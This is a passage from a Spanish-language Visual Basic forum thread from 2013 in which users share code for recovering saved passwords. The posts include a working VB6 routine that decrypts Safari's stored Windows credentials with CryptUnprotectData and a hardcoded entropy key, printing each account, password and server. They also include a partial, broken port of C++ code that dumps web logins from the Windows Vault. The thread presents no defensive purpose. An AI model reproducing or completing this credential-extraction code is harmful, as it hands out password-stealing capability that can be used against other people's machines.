  95.             CopyMemory srcAddr, ByVal VarPtr(inVariant) + 8&, 4&
  96.         Else
  97.             srcAddr = VarPtr(inVariant) + 8&
  98.         End If
  99.         dstAddr = VarPtrArray(inArray)                          ' get target array's pointer
  100.    End If
  101.    
  102.     CopyMemory ByVal dstAddr, ByVal srcAddr, 4&                 ' swap pointers
  103.    CopyMemory ByVal srcAddr, 0&, 4&                            ' null arrays have a null SafeArray pointer
  104.    
  105. End Sub
  106.  

parece estar todo bien, pero CryptUnprotectData no funciona.
Título: Re:COBEIN lee esto por favor...
Publicado por: 79137913 en Agosto 30, 2013, 02:19:02 pm
HOLA!!!

Si, debe ser eso... el salt debe cambiar de version en version...

Voy a mandarle un correo al admin de esa web a ver si me dice como sacar el salt.

Gracias Lea, los mantengo informados con este hilo!

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: LeandroA en Agosto 30, 2013, 04:18:53 pm
Hola me descargue el safari (5.1.7) y ahora si me funciona, yo solo probe con el xml que estaba dentro de la carpeta de descarga que pusiste, quizas vos por seguridad lo modificaste ?¿ , asi que me meti en un par de cuentas puse recordar contraseñas llame al plutil.exe y funciono bien.

Código: Visual Basic
  1. Option Explicit
  2. Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
  3. Private Declare Function LocalFree Lib "kernel32.dll" (ByVal hMem As Long) As Long
  4. Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
  5. Private Declare Function VarPtrArray Lib "msvbvm60.dll" Alias "VarPtr" (ByRef Ptr() As Any) As Long
  6. Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  7. Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
  8. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  9.  
  10. Private Type DATA_BLOB
  11.     cbData              As Long
  12.     pbData              As Long
  13. End Type
  14.  
  15.  
  16. Public Function Enumerate() As String
  17.     Dim Keychain_path   As String
  18.     Dim Plutils_path    As String
  19.     Dim TempDir         As String
  20.     Dim tBlobIn         As DATA_BLOB
  21.     Dim tEntropy        As DATA_BLOB
  22.     Dim tBlobOut        As DATA_BLOB
  23.     Dim i               As Long
  24.     Dim bArrayKey()     As Byte
  25.     Dim bArrayData()    As Byte
  26.     Dim XMLRead         As Object
  27.     Dim NodeList        As Object
  28.     Dim Elem            As Object
  29.     Dim sPass           As String
  30.     Dim abData()        As Byte
  31.    
  32.     On Error GoTo fail
  33.  
  34.     Const skey = "1DACA8F8D3B8483E487D3E0A6207DD26E6678103E7B213A5B079EE4F0F4115ED7B148CE54B460DC18EFED6E72775068B4900DC0F30A09EFD0985F1C8AA75C108057901E297D8AF8038600B710E6853772F0F61F61D8E8F5CB23D2174404BB5066EAB7ABD8BA97E328F6E0624D929A4A5BE2623FDEEF14C0F745E58FB9174EF91636F6D2E6170706C652E536166617269"
  35.  
  36.     Keychain_path = Environ("APPDATA") & "\Apple Computer\Preferences\keychain.plist"
  37.     Plutils_path = Environ("PROGRAMFILES") & "\Safari\Apple Application Support\plutil.exe"
  38.     TempDir = Environ("TEMP")
  39.    
  40.     ShellAndWait Chr(34) & Plutils_path & Chr(34) & " -convert xml1 -s -o " & TempDir & "\k.xml " & Chr(34) & Keychain_path & Chr(34), vbHide
  41.  
  42.     ReDim bArrayKey(Len(skey) / 2 - 1)
  43.    
  44.     For i = 0 To Len(skey) - 1 Step 2
  45.         bArrayKey(i / 2) = CByte("&h" & Mid$(skey, i + 1, 2))
  46.     Next
  47.    
  48.     tEntropy.cbData = UBound(bArrayKey) + 1
  49.     tEntropy.pbData = VarPtr(bArrayKey(0))
  50.    
  51.     Set XMLRead = CreateObject("Microsoft.XMLDOM")
  52.  
  53.     XMLRead.async = False
  54.     XMLRead.Load (TempDir & "\k.xml")
  55.  
  56.     Set NodeList = XMLRead.getElementsByTagName("dict/array/dict")
  57.    
  58.     For Each Elem In NodeList
  59.        
  60.         bArrayData = Base64Decode(Elem.childNodes(7).Text)
  61.         tBlobIn.cbData = UBound(bArrayData) + 1
  62.         tBlobIn.pbData = VarPtr(bArrayData(0))
  63.        
  64.         If CryptUnprotectData(tBlobIn, 0&, tEntropy, 0&, 0&, 0&, tBlobOut) Then
  65.             ReDim abData(0 To tBlobOut.cbData - 1)
  66.             CopyMemory abData(0), ByVal tBlobOut.pbData, tBlobOut.cbData
  67.             sPass = Mid(Replace(StrConv(abData, vbUnicode), Chr(0), vbNullString), 2) 'no me gusta
  68.            LocalFree tBlobOut.pbData
  69.            
  70.             Enumerate = Enumerate & "Acount: " & Elem.childNodes(1).Text & vbCrLf
  71.             Enumerate = Enumerate & "Password: " & sPass & vbCrLf
  72.             Enumerate = Enumerate & "Server: " & Elem.childNodes(19).Text & vbCrLf
  73.             Enumerate = Enumerate & String(10, "-") & vbCrLf
  74.            
  75.         End If
  76.  
  77.     Next
  78.    
  79.     Set NodeList = Nothing
  80.     Set XMLRead = Nothing
  81.    
  82.     Exit Function
  83. fail:
  84.     Debug.Print "cuec!"
  85. End Function
  86.  
  87. Private Sub ShellAndWait(ByVal program_name As String, ByVal window_style As VbAppWinStyle)
  88.     Dim process_id As Long
  89.     Dim process_handle As Long
  90.     Const SYNCHRONIZE As Long = &H100000
  91.     Const INFINITE As Long = &HFFFFFFFF
  92.    
  93.     ' Start the program.
  94.    On Error GoTo ShellError
  95.     process_id = Shell(program_name, window_style)
  96.     On Error GoTo 0
  97.    
  98.     DoEvents
  99.  
  100.     ' Wait for the program to finish.
  101.    ' Get the process handle.
  102.    process_handle = OpenProcess(SYNCHRONIZE, 0, process_id)
  103.     If process_handle <> 0 Then
  104.         WaitForSingleObject process_handle, INFINITE
  105.         CloseHandle process_handle
  106.     End If
  107.     Exit Sub
  108.    
  109. ShellError:
  110. End Sub
  111.  
  112.  
  113. Private Function Base64Decode(ByVal vCode As String) As Byte()
  114.     Dim oXML, oNode
  115.     Dim vResults As Variant
  116.    
  117.     Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
  118.     Set oNode = oXML.CreateElement("base64")
  119.     oNode.dataType = "bin.base64"
  120.     oNode.Text = vCode
  121.     vResults = oNode.nodeTypedValue
  122.     MoveArrayToVariant vResults, Base64Decode, False
  123.     Set oNode = Nothing
  124.     Set oXML = Nothing
  125. End Function
  126.  
  127.  
  128. 'Autor: LaVolpe
  129. Private Sub MoveArrayToVariant(inVariant As Variant, inArray() As Byte, Mount As Boolean)
  130.     Const VT_BYREF              As Long = &H4000&
  131.  
  132.     ' Variants are used a bit in this project to allow functions to receive
  133.    ' multiple variable types (objects, strings, handles, arrays, etc) in a single parameter.
  134.    ' When arrays are passed, don't want to unnecessarily copy the array
  135.    ' if a copy isn't needed. But setting one variant to another that contains
  136.    ' arrays, copies are made. With large arrays, performance suffers.
  137.    ' So... this routine moves an array in/out of a variant and vice versa
  138.    ' without making a copy of the array. We're just swapping pointers
  139.    
  140.     ' When mounting array to variant, the inVariant parameter can contain anything or nothing
  141.    ' When dismounting array from variant, the inVariant parameter MUST contain a return byte array
  142.    
  143.     Dim bDummy() As Byte, srcAddr As Long, dstAddr As Long
  144.    
  145.     If Mount Then                                               ' moving array to variant
  146.        inVariant = bDummy()                                    ' ensure target contains null byte array
  147.        CopyMemory dstAddr, ByVal VarPtr(inVariant), 2&         ' get that null array's pointer
  148.        If (dstAddr And VT_BYREF) Then
  149.             CopyMemory dstAddr, ByVal VarPtr(inVariant) + 8&, 4&
  150.         Else
  151.             dstAddr = VarPtr(inVariant) + 8&
  152.         End If
  153.         srcAddr = VarPtrArray(inArray)                          ' get source array's pointer
  154.        
  155.     Else                                                        ' moving variant's array to array
  156.    
  157.         Erase inArray()                                         ' ensure source is nulled out
  158.        CopyMemory srcAddr, ByVal VarPtr(inVariant), 2&         ' get source array's pointer
  159.        If (srcAddr And VT_BYREF) Then
  160.             CopyMemory srcAddr, ByVal VarPtr(inVariant) + 8&, 4&
  161.         Else
  162.             srcAddr = VarPtr(inVariant) + 8&
  163.         End If
  164.         dstAddr = VarPtrArray(inArray)                          ' get target array's pointer
  165.    End If
  166.    
  167.     CopyMemory ByVal dstAddr, ByVal srcAddr, 4&                 ' swap pointers
  168.    CopyMemory ByVal srcAddr, 0&, 4&                            ' null arrays have a null SafeArray pointer
  169.    
  170. End Sub
  171.  


Título: Re:COBEIN lee esto por favor...
Publicado por: 79137913 en Agosto 30, 2013, 05:55:55 pm
HOLA!!!

Gracias Lea!

(Cuando termine el code se los paso!)

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: 79137913 en Septiembre 03, 2013, 01:28:38 pm
HOLA!!!

Aca estoy de nuevo, ya debo estar pesado...

Encontre este codigo (esta comentado) que extrae los logins del windows Vault para W7 y W8.

Me puse a traducirlo, pero como se muy poco de c++ no pude :(

Pueden ver si se puede hacer algo?

Código: Visual Basic
  1. Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
  2. Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  3. Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
  4. Private Declare Sub PutMem1 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Byte)
  5. Private Declare Sub PutMem2 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Integer)
  6. Private Declare Sub PutMem4 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Long)
  7. Private Declare Sub PutMem8 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Currency)
  8. Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer
  9. Public Type OSVERSIONINFO
  10.     dwOSVersionInfoSize As Long
  11.     dwMajorVersion As Long
  12.     dwMinorVersion As Long
  13.     dwBuildNumber As Long
  14.     dwPlatformId As Long
  15.     szCSDVersion As String * 128
  16. End Type
  17. Private Const VER_PLATFORM_WIN32s = 0
  18. Private Const VER_PLATFORM_WIN32_WINDOWS = 1
  19. Private Const VER_PLATFORM_WIN32_NT As Long = 2
  20.  
  21.  
  22. '#define UNICODE
  23. '#include <windows.h>
  24. '
  25. '#include <cstdio>
  26. '#include <string>
  27. '
  28. '#pragma comment(lib, "user32.lib")
  29. '
  30. 'VOID showError(DWORD dwError, PWCHAR pFmt, ...) {
  31. '  PWCHAR pDetails;
  32. '  WCHAR buffer[2048];
  33. '
  34. '  if (pFmt != NULL) {
  35. '    va_list arglist;
  36. '    va_start(arglist, pFmt);
  37. '       wvsprintf(buffer, pFmt, arglist);
  38. '       va_end(arglist);
  39. '  }
  40. '  FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
  41. '      NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
  42. '      (LPWSTR)&pDetails, 0, NULL);
  43. '
  44. '  wprintf(L"\n  %s : %s", buffer, pDetails);
  45. '  LocalFree(pDetails);
  46. '}
  47. '
  48. 'typedef HANDLE HVAULT;
  49. '
  50. '#define VAULT_ENUMERATE_ALL_ITEMS 512
  51. '
  52. 'GUID Vault_WebCredential_ID =
  53. '{ 0x3CCD5499, 0x87A8, 0x4B10, 0xA2, 0x15, 0x60, 0x88, 0x88, 0xDD, 0x3B, 0x55 };
  54. '
  55. 'enum VAULT_ELEMENT_TYPE {
  56. Private Enum VAULT_ELEMENT_TYPE
  57. '  ElementType_Boolean = 0,
  58.    ElementType_Boolean = 0
  59. '  ElementType_Short = 1,
  60.    ElementType_Short = 1
  61. '  ElementType_UnsignedShort = 2,
  62.    ElementType_UnsignedShort = 2
  63. '  ElementType_Integer = 3,
  64.    ElementType_Integer = 3
  65. '  ElementType_UnsignedInteger = 4,
  66.    ElementType_UnsignedInteger = 4
  67. '  ElementType_Double = 5,
  68.    ElementType_Double = 5
  69. '  ElementType_Guid = 6,
  70.    ElementType_Guid = 6
  71. '  ElementType_String = 7,
  72.    ElementType_String = 7
  73. '  ElementType_ByteArray = 8,
  74.    ElementType_ByteArray = 8
  75. '  ElementType_TimeStamp = 9,
  76.    ElementType_TimeStamp = 9
  77. '  ElementType_ProtectedArray = 0xA,
  78.    ElementType_ProtectedArray = 10
  79. '  ElementType_Attribute = 0xB,
  80.    ElementType_Attribute = 11
  81. '  ElementType_Sid = 0xC,
  82.    ElementType_Sid = 12
  83. '  ElementType_Last = 0xD,
  84.    ElementType_Last = 13
  85. '  ElementType_Undefined = 0xFFFFFFFF
  86.    ElementType_Undefined = -1 'ESTO NO SE SI ESTA BIEN
  87. '};
  88. End Enum
  89. '
  90. 'enum VAULT_SCHEMA_ELEMENT_ID {
  91. Private Enum VAULT_SCHEMA_ELEMENT_ID
  92. '  ElementId_Illegal = 0,
  93.    ElementId_Illegal = 0
  94. '  ElementId_Resource = 1,
  95.    ElementId_Resource = 1
  96. '  ElementId_Identity = 2,
  97.    ElementId_Identity = 2
  98. '  ElementId_Authenticator = 3,
  99.    ElementId_Authenticator = 3
  100. '  ElementId_Tag = 4,
  101.    ElementId_Tag = 4
  102. '  ElementId_PackageSid = 5,
  103.    ElementId_PackageSid = 5
  104. '  ElementId_AppStart = 0x64,
  105.    ElementId_AppStart = 100
  106. '  ElementId_AppEnd = 0x2710
  107.    ElementId_AppEnd = 10000
  108. '};
  109. End Enum
  110.  
  111. 'typedef struct _VAULT_CAUB {
  112. Private Type VAULT_CAUB
  113. '  DWORD NumBytes;
  114.    NumBytes As Long
  115. 'PBYTE pByteArray;
  116.    pByteArray() As Byte
  117. '} VAULT_CAUB, *PVAULT_CAUB;--------------------?????????????'
  118. End Type
  119.  
  120. '
  121. 'typedef struct _VAULT_VARIANT {
  122. Private Type VAULT_VARIANT
  123. '  VAULT_ELEMENT_TYPE Type;---------------------?????????????'
  124. '  DWORD Unknown;
  125.    Unknown As Long
  126. '  union {
  127. '    BOOL Boolean;
  128. '    WORD Short;
  129. '    WORD UnsignedShort;
  130. '    DWORD Int;
  131. '    DWORD UnsignedInt;
  132. '    double Double;
  133. '    GUID Guid;
  134. '    LPCWSTR String;
  135. '    VAULT_CAUB ByteArray;
  136. '    VAULT_CAUB ProtectedArray;
  137. '    DWORD Attribute;
  138. '    DWORD Sid;
  139. '  } vv;
  140. '} VAULT_VARIANT, *PVAULT_VARIANT;
  141. End Type ' ?????????????????????????????????????????????????????
  142.  
  143.  
  144.  
  145. 'typedef struct _VAULT_ITEM_ELEMENT {
  146. Private Type VAULT_ITEM_ELEMENT
  147. '  VAULT_SCHEMA_ELEMENT_ID SchemaElementId;
  148.    SchemaElementId As VAULT_SCHEMA_ELEMENT_ID
  149. '  DWORD Unknown;
  150.    Unknown As Long
  151. '  VAULT_VARIANT ItemValue;
  152.    ItemValue As VAULT_VARIANT
  153. '} VAULT_ITEM_ELEMENT, *PVAULT_ITEM_ELEMENT; --------------??????????????
  154. End Type
  155. '
  156. 'typedef struct _VAULT_ITEM_W7 {
  157. Private Type VAULT_ITEM_W7
  158. '  GUID SchemaId;
  159.    SchemaId As Guid '??????????????????????????????????????????????????????
  160. '  LPCWSTR pszCredentialFriendlyName;
  161.    pszCredentialFriendlyName As LPCWSTR '???????????????????????????????????
  162. '  PVAULT_ITEM_ELEMENT pResourceElement;
  163.    pResourceElement As VAULT_ITEM_ELEMENT
  164. '  PVAULT_ITEM_ELEMENT pIdentityElement;
  165.    pIdentityElement As VAULT_ITEM_ELEMENT
  166. '  PVAULT_ITEM_ELEMENT pAuthenticatorElement;
  167.    pAuthenticatorElement As VAULT_ITEM_ELEMENT
  168. '  FILETIME LastModified;
  169.    LastModified As FILETIME '?????????????????????????????????????????????????
  170. '  DWORD dwFlags;
  171.    dwFlags As Long
  172. '  DWORD dwPropertiesCount;
  173.    dwPropertiesCount As Long
  174. '  PVAULT_ITEM_ELEMENT pPropertyElements;
  175.    pPropertyElement As VAULT_ITEM_ELEMENT
  176. '} VAULT_ITEM_W7, *PVAULT_ITEM_W7;
  177. End Type
  178.  
  179. 'typedef struct _VAULT_ITEM_W8 {
  180. Private Type VAULT_ITEM_W8
  181. '  GUID SchemaId;
  182.    SchemaId As Guid '????????????????????????????????????
  183. '  LPCWSTR pszCredentialFriendlyName;
  184.    pszCredentialFriendlyName As LPCWSTR '?????????????????
  185. '  PVAULT_ITEM_ELEMENT pResourceElement;
  186.    pResourceElement As VAULT_ITEM_ELEMENT
  187. '  PVAULT_ITEM_ELEMENT pIdentityElement;
  188.    pIdentityElement As VAULT_ITEM_ELEMENT
  189. '  PVAULT_ITEM_ELEMENT pAuthenticatorElement;
  190.    pAuthenticatorElement As VAULT_ITEM_ELEMENT
  191. '  PVAULT_ITEM_ELEMENT pPackageSid;
  192.    pPackageSid As VAULT_ITEM_ELEMENT
  193. '  FILETIME LastModified;
  194.    LastModified As FILETIME '????????????????????????????
  195. '  DWORD dwFlags;
  196.    dwFlags As Long
  197. '  DWORD dwPropertiesCount;
  198.    dwPropertiesCount As Long
  199. '  PVAULT_ITEM_ELEMENT pPropertyElements;
  200.    pPropertyElements As VAULT_ITEM_ELEMENT
  201. '} VAULT_ITEM_W8, *PVAULT_ITEM_W8;
  202. End Type
  203. '
  204. 'typedef struct _VAULT_ITEM {
  205. Private Type VAULT_ITEM
  206. '  std::wstring Account;
  207.    Account As String
  208. '  std::wstring Url;
  209.    Url As String
  210. '  FILETIME LastModified;
  211.    LastModified As FILETIME
  212. '  std::wstring UserName;
  213.    UserName As String
  214. '  std::wstring Password;
  215.    Password As String
  216. '} VAULT_ITEM, *PVAULT_ITEM;
  217. End Type
  218.  
  219. 'typedef DWORD (WINAPI *VaultEnumerateVaults)(DWORD dwFlags, PDWORD VaultsCount, GUID **ppVaultGuids);
  220. 'typedef DWORD (WINAPI *VaultEnumerateItems)(HVAULT VaultHandle, DWORD dwFlags, PDWORD ItemsCount, PVOID *Items);
  221. 'typedef DWORD (WINAPI *VaultOpenVault)(GUID *pVaultId, DWORD dwFlags, HVAULT *pVaultHandle);
  222. 'typedef DWORD (WINAPI *VaultCloseVault)(HVAULT VaultHandle);
  223. 'typedef DWORD (WINAPI *VaultFree)(PVOID pMemory);
  224. 'typedef DWORD (WINAPI *VaultGetItemW7)(HVAULT VaultHandle, GUID *pSchemaId, PVAULT_ITEM_ELEMENT pResource, PVAULT_ITEM_ELEMENT pIdentity, HWND hwndOwner, DWORD dwFlags, PVAULT_ITEM_W7 *ppItem);
  225. 'typedef DWORD (WINAPI *VaultGetItemW8)(HVAULT VaultHandle, GUID *pSchemaId, PVAULT_ITEM_ELEMENT pResource, PVAULT_ITEM_ELEMENT pIdentity, PVAULT_ITEM_ELEMENT pPackageSid, HWND hwndOwner, DWORD dwFlags, PVAULT_ITEM_W8 *ppItem);
  226. '
  227. 'HMODULE hVaultLib;
  228. '
  229. 'VaultEnumerateItems  pVaultEnumerateItems;
  230. 'VaultFree            pVaultFree;
  231. 'VaultGetItemW7       pVaultGetItemW7;
  232. 'VaultGetItemW8       pVaultGetItemW8;
  233. 'VaultOpenVault       pVaultOpenVault;
  234. 'VaultCloseVault      pVaultCloseVault;
  235. 'VaultEnumerateVaults pVaultEnumerateVaults;
  236. '
  237. 'BOOL InitVault(VOID) {
  238. Private Function InitVault() As Boolean
  239. '   BOOL bStatus = FALSE;
  240.    Dim bStatus As Boolean
  241. '   hVaultLib = LoadLibrary(L"vaultcli.dll");
  242.    Dim hVaultLib As Long: hVaultLib = LoadLibraryA("vaultcli.dll")
  243. '   if (hVaultLib != NULL) {
  244.    If hVaultLib <> 0 Then
  245. '    pVaultEnumerateItems  = (VaultEnumerateItems)GetProcAddress(hVaultLib,  "VaultEnumerateItems");
  246.        pVaultEnumerateItems = CallFunc("VaultEnumerateItems")
  247. '       pVaultEnumerateVaults = (VaultEnumerateVaults)GetProcAddress(hVaultLib, "VaultEnumerateVaults");
  248.        pVaultEnumerateVaults = CallFunc("VaultEnumerateVaults")
  249. '       pVaultFree            = (VaultFree)GetProcAddress(hVaultLib,            "VaultFree");
  250.        pVaultFree = CallFunc("VaultFree")
  251. '       pVaultGetItemW7       = (VaultGetItemW7)GetProcAddress(hVaultLib,       "VaultGetItem");
  252.        pVaultGetItemW7 = CallFunc("VaultGetItem")
  253. '       pVaultGetItemW8       = (VaultGetItemW8)GetProcAddress(hVaultLib,       "VaultGetItem");
  254.        pVaultGetItemW8 = CallFunc("VaultGetItem")
  255. '       pVaultOpenVault       = (VaultOpenVault)GetProcAddress(hVaultLib,       "VaultOpenVault");
  256.        pVaultOpenVault = CallFunc("VaultOpenVault")
  257. '       pVaultCloseVault      = (VaultCloseVault)GetProcAddress(hVaultLib,      "VaultCloseVault");
  258.        pVaultCloseVault = CallFunc("VaultCloseVault")
  259. '
  260. '       bStatus = (pVaultEnumerateVaults != NULL)
  261. '         && (pVaultFree != NULL)
  262. '         && (pVaultGetItemW7 != NULL)
  263. '         && (pVaultGetItemW8 != NULL)
  264. '         && (pVaultOpenVault != NULL)
  265. '         && (pVaultCloseVault != NULL)
  266. '         && (pVaultEnumerateItems != NULL);
  267.        If pVaultEnumerateVaults <> 0 And _
  268.            pVaultFree <> 0 And _
  269.            pVaultGetItemW7 <> 0 And _
  270.            pVaultGetItemW8 <> 0 And _
  271.            pVaultOpenVault <> 0 And _
  272.            pVaultCloseVault <> 0 And _
  273.            pVaultEnumerateItems <> 0 _
  274.            Then bStatus = True
  275.  
  276.     End If
  277. '   return bStatus;
  278.    InitVault = bStatus
  279. '}
  280. End Function
  281.  
  282. 'BOOL IsOs_Win80rGreater(VOID) {
  283. Private Function IsOs_Win80rGreater() As Boolean
  284.     Dim osinfo As OSVERSIONINFO
  285.     Dim retvalue As Integer
  286.     Dim sOS As String
  287.     osinfo.dwOSVersionInfoSize = 148
  288.     osinfo.szCSDVersion = Space$(128)
  289.     retvalue = GetVersionExA(osinfo)
  290.     If osinfo.dwMajorVersion = 8 Then IsOs_Win80rGreater = True
  291. '}
  292. End Function
  293.  
  294.  
  295. 'BOOL GetItemW7(HVAULT hVault, PVAULT_ITEM_W7 ppItems, DWORD index, VAULT_ITEM &item) {
  296. Private Function GetItemW7(hVault As hVault, ppItems As VAULT_ITEM_W7, index As Long, item As VAULT_ITEM) As Boolean
  297. '  DWORD dwError;
  298.    Dim dwError As Long
  299. '
  300. '  // is this a web credential?
  301. '  if (memcmp(&Vault_WebCredential_ID, &ppItems[index].SchemaId, sizeof(GUID)) == 0) {
  302.    If 0 = 1 Then '?????????????????????????????????????????????????????????????????????
  303. '    item.Account = ppItems[index].pszCredentialFriendlyName;
  304.    item.Account = ppItems(index).pszCredentialFriendlyName
  305. '    item.Url = ppItems[index].pResourceElement->ItemValue.vv.String;
  306.    item.Url = ppItems(index).pResourceElement
  307. '    item.UserName = ppItems[index].pIdentityElement->ItemValue.vv.String;
  308.    item.UserName = ppItems(index).pIdentityElement
  309. '    memcpy(&item.LastModified, &ppItems[index].LastModified, sizeof(FILETIME));
  310.    '    if (ppItems[index].dwPropertiesCount == 0) {
  311.        If ppItems(index).dwPropertiesCount = 0 Then
  312.     '      PVAULT_ITEM_W7 ppCredentials = NULL;
  313.            Dim ppCredentials As VAULT_ITEM_W7
  314.     '      dwError = pVaultGetItemW7(hVault,
  315.    '            &ppItems[index].SchemaId, ppItems[index].pResourceElement,
  316.    '            ppItems[index].pIdentityElement, NULL, 0, &ppCredentials);
  317.            dwError = VaultGetItemW7(hVault, ppItems(index).SchemaId, ppItems(index).pResourceElement, _
  318.                                     ppItems(index).pIdentityElement, vbNull, 0, ppCredentials)
  319.     '      if (dwError == ERROR_SUCCESS) {
  320.            If dwError = ERROR_SUCCESS Then
  321.     '        item.Password = ppCredentials->pAuthenticatorElement->ItemValue.vv.String;
  322.    '        pVaultFree(ppCredentials);
  323.                VaultFree (ppCredentials)
  324.     '      }
  325.            End If
  326.     '    }
  327.        End If
  328.     '  }
  329.    End If
  330. '  return dwError == ERROR_SUCCESS;
  331. End Function
  332. '
  333. 'BOOL GetItemW8(HVAULT hVault, PVAULT_ITEM_W8 ppItems, DWORD index, VAULT_ITEM &item) {
  334. Private Function GetItemW8(hVault As hVault, ppItems As VAULT_ITEM_W8, index As Long, item As VAULT_ITEM) As Boolean
  335. '  DWORD dwError;
  336.    Dim dwError As Long
  337. '
  338. '  // is this a web credential?
  339. '  if (memcmp(&Vault_WebCredential_ID, &ppItems[index].SchemaId, sizeof(GUID)) == 0) {
  340.    If 0 = 1 Then ' ?????????????????????????????????????????????????????????????????????
  341. '    item.Account = ppItems[index].pszCredentialFriendlyName;
  342.        item.Account = ppItems(index).pszCredentialFriendlyName
  343. '    item.Url = ppItems[index].pResourceElement->ItemValue.vv.String;
  344.        item.Url = ppItems(index).pResourceElement
  345. '    item.UserName = ppItems[index].pIdentityElement->ItemValue.vv.String;
  346.        item.UserName = ppItems(index).pIdentityElement
  347. '    memcpy(&item.LastModified, &ppItems[index].LastModified, sizeof(FILETIME));
  348. '    if (ppItems[index].dwPropertiesCount == 0) {
  349.        If ppItems(index).dwPropertiesCount = 0 Then
  350. '      PVAULT_ITEM_W8 ppCredentials = NULL;
  351.            Dim ppCredentials As VAULT_ITEM_W8
  352. '      dwError = pVaultGetItemW8(hVault,
  353. '            &ppItems[index].SchemaId, ppItems[index].pResourceElement,
  354. '            ppItems[index].pIdentityElement, NULL, NULL, 0, &ppCredentials);
  355.            dwError = VaultGetItemW8(hVault, ppItems(index).SchemaId, ppItems(index).pResourceElement, _
  356.                                     ppItems(index).pIdentityElement, vbNull, vbNull, 0, ppCredentials)
  357. '      if (dwError == ERROR_SUCCESS) {
  358. '        item.Password = ppCredentials->pAuthenticatorElement->ItemValue.vv.String;
  359. '        pVaultFree(ppCredentials);
  360. '      }
  361. '    }
  362. '  }
  363. '  return dwError == ERROR_SUCCESS;
  364. '}
  365. End Function
  366. '
  367. 'void ListWebCredentials(void) {
  368. Private Sub ListWebCredentials()
  369. '   DWORD dwVaults, dwError;
  370.    Dim dwVaults As Long
  371.     Dim dwError As Long
  372. '  HVAULT hVault;
  373.    Dim hVaul As º
  374. '  GUID *ppVaultGuids;
  375. '  BOOL bWin80rGreater = IsOs_Win80rGreater();
  376.    Dim bWin80rGreater As Boolean: bWin80rGreater = IsOs_Win80rGreater
  377. '
  378. '  dwError = pVaultEnumerateVaults(NULL, &dwVaults, &ppVaultGuids);
  379.    dwError = VaultEnumerateVaults(vbNull, dwVaults, ppVaultGuids)
  380.  
  381. '  if (dwError != ERROR_SUCCESS) {
  382.    If dwError <> ERROR_SUCCESS Then
  383. '    showError(dwError, L"VaultEnumerateVaults");
  384.        Exit Function
  385. '    return;
  386.    End If
  387. '
  388. '  // for each vault found
  389. '  for (DWORD i = 0;i < dwVaults;i++) {
  390. '    dwError = pVaultOpenVault(&ppVaultGuids[i], 0, &hVault);
  391. '    // open it
  392. '    if (dwError == ERROR_SUCCESS) {
  393. '      PVOID ppItems;
  394. '      DWORD dwItems;
  395. '
  396. '      // enumerate items
  397. '      dwError = pVaultEnumerateItems(hVault, VAULT_ENUMERATE_ALL_ITEMS,
  398. '          &dwItems, &ppItems);
  399. '
  400. '      if (dwError == ERROR_SUCCESS) {
  401. '        // for each item
  402. '        for (DWORD j = 0; j < dwItems; j++) {
  403. '          VAULT_ITEM item;
  404. '          BOOL bResult;
  405. '          memset(&item, 0, sizeof(VAULT_ITEM));
  406. '
  407. '          if (bWin80rGreater) {
  408. '            bResult = GetItemW8(hVault, (PVAULT_ITEM_W8)ppItems, j, item);
  409. '          } else {
  410. '            bResult = GetItemW7(hVault, (PVAULT_ITEM_W7)ppItems, j, item);
  411. '          }
  412. '
  413. '          if (bResult) {
  414. '            // application
  415. '            wprintf(L"\n  Account name: %s", item.Account.c_str());
  416. '
  417. '            // web address
  418. '            wprintf(L"\n  Website address (URL): %s", item.Url.c_str());
  419. '
  420. '            FILETIME ft, lt;
  421. '            SYSTEMTIME st;
  422. '            wchar_t modified[MAX_PATH];
  423. '
  424. '            FileTimeToLocalFileTime(&item.LastModified, &lt);
  425. '            FileTimeToSystemTime(&lt, &st);
  426. '
  427. '            // last time it was updated
  428. '            if (GetDateFormat(LOCALE_SYSTEM_DEFAULT, 0,
  429. '                &st, L"MM/dd/yyyy", modified, MAX_PATH)) {
  430. '              wprintf(L"\n  Last modified: %s", modified);
  431. '            }
  432. '            wprintf(L"\n  User Name: %s", item.UserName.c_str());
  433. '            wprintf(L"\n  Password: %s\n", item.Password.c_str());
  434. '          }
  435. '        }
  436. '        pVaultFree(ppItems);
  437. '      } else {
  438. '        showError(dwError, L"VaultEnumerateItems()");
  439. '      }
  440. '      pVaultCloseVault(hVault);
  441. '    } else {
  442. '      showError(dwError, L"VaultOpenVault()");
  443. '    }
  444. '  }
  445. End Sub
  446. '}
  447. '
  448. 'VOID ConsoleSetBufferWidth(SHORT X) {
  449. '  CONSOLE_SCREEN_BUFFER_INFO csbi;
  450. '  GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi);
  451. '
  452. '  if (X <= csbi.dwSize.X) return;
  453. '  csbi.dwSize.X = X;
  454. '  SetConsoleScreenBufferSize(GetStdHandle(STD_OUTPUT_HANDLE), csbi.dwSize);
  455. '}
  456. '
  457. 'int wmain(void) {
